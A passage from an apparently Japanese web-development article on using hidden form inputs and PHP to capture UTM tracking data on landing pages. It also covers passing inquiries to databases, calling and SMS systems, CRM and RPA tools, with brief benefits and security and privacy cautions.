        <!-- hidden inputs -->
        <input type="hidden" name="utm_source" value="<?php echo $utm_source; ?>">
        <input type="hidden" name="utm_medium" value="<?php echo $utm_medium; ?>">
        <input type="hidden" name="client_id" value="<?php echo $client_id; ?>">
    </form>

    Step 2: サーバーサイド(PHP)での処理

    // データ受信
    $formData = $_POST;
    
    // バリデーションと加工
    $processedData = validateAndProcess($formData);
    
    // 必要に応じてデータを振り分け
    saveToDatabase($processedData);
    prepareForRPA($processedData);
    システム連携の詳細フロー Step 1: ユーザー入力 フォーム入力 + hidden情報 Step 2: PHP処理 データ検証と加工 Step 3: データ振り分け CRM・DB保存・RPA処理 主なhidden項目: ・utm_source(広告ソース) ・utm_medium(広告メディア) ・utm_campaign(キャンペーン名) ・クライアントID(訪問者識別) ・Xclid(Google広告トラッキング) ・初回流入ページ情報

    一般的なWeb問い合わせフォームのバックエンド処理パターン

    フォーム送信処理の主な流れ 1. フォームデータ受信 UTMパラメータ/電話番号など 2. バリデーション 電話番号/メール形式チェック 3. メール送信 PHPMailerによる送信 4. 自動電話発信 時間帯に応じた発信制御 5. SMS送信 夜間帯の自動SMS送信 6. 顧客情報登録 APIによるデータ連携

    < 拡張的な 4 5 6 の処理フロー例 >

    問い合わせ自動対応システムの基本フロー 営業時間判定 営業時間内 営業時間外 営業時間内の処理 1. 自動発信処理 ・コールシステム連携 ・発信制御処理 2. 顧客情報登録 ・基本情報の登録 ・トラッキング情報連携 営業時間外の処理 1. メッセージ自動送信 ・自動返信処理 ・案内文送信 2. 顧客情報登録 ・次営業日の対応予約 ・システム間連携 外部システム連携(コール管理・メッセージ配信・顧客管理・自動化ツール)

    < 顧客管理システムからRPAへの連携部分 >

    RPAシステム連携フロー フォームデータ ・基本情報 ・UTMパラメータ ・トラッキング情報 JSON変換処理 ・データ構造化 ・形式統一 ・エンコード処理 RPA連携 ・自動データ転記 ・システム間連携 ・処理結果確認 JSON構造例: { “TO_RPA”: { “contact_info”: { basic_data }, “tracking_info”: { utm_params }, “system_info”: { client_data }, “timestamp”: { date_time } } }

    メール経由ですることもあります、、

    実装のメリット

    1. データの確実な収集
      • JavaScriptに依存せず、確実にデータを送信可能
      • ブラウザの互換性が高い
    2. 運用の効率化
      • RPAとの連携が容易
      • データベースへの直接保存が可能
    3. 分析の精度向上
      • 広告効果測定の正確性が向上
      • ユーザージャーニーの詳細な把握が可能

    Hidden Input実装のメリット 技術面のメリット • JavaScriptなしでも動作 • ブラウザ互換性が高い • 実装がシンプル • データの信頼性が高い 運用面のメリット • 保守が容易 • RPAとの連携が簡単 • データ収集の自動化 • 改修コストが低い ビジネス面のメリット • 広告効果の正確な測定 • 顧客行動の詳細な把握 • マーケティング精度向上 • コスト対効果の可視化 具体的な活用例: 1. 広告運用での活用  - 広告ソースごとのコンバージョン率計測  - キャンペーンの効果測定 2. カスタマーサポート  - 問い合わせ経路の把握  - ユーザー行動の理解 3. システム連携  - CRMシステムとの連携  - 社内システムへのデータ転送

    4. 実装時の注意点

    1. セキュリティ対策
      • 送信データの適切なバリデーション
      • XSS対策の実施
    2. データ管理
      • 必要最小限の情報のみ収集
      • プライバシーポリシーへの明記
    3. 保守性
      • 適切なドキュメント作成
      • コードの可読性維持

    まとめ

    hidden inputsを活用したフォーム実装は、LPにおける標準的な手法として広く採用されています。適切に実装することで、マーケティング効果の測定や顧客管理の効率化に大きく貢献します。

    実装の際は、セキュリティとプライバシーに十分配慮しつつ、将来の拡張性も考慮した設計を心がけましょう。

    ※ 本記事で紹介した実装方法は、多くの企業のWebマーケティングで実践されている一般的なアプローチです。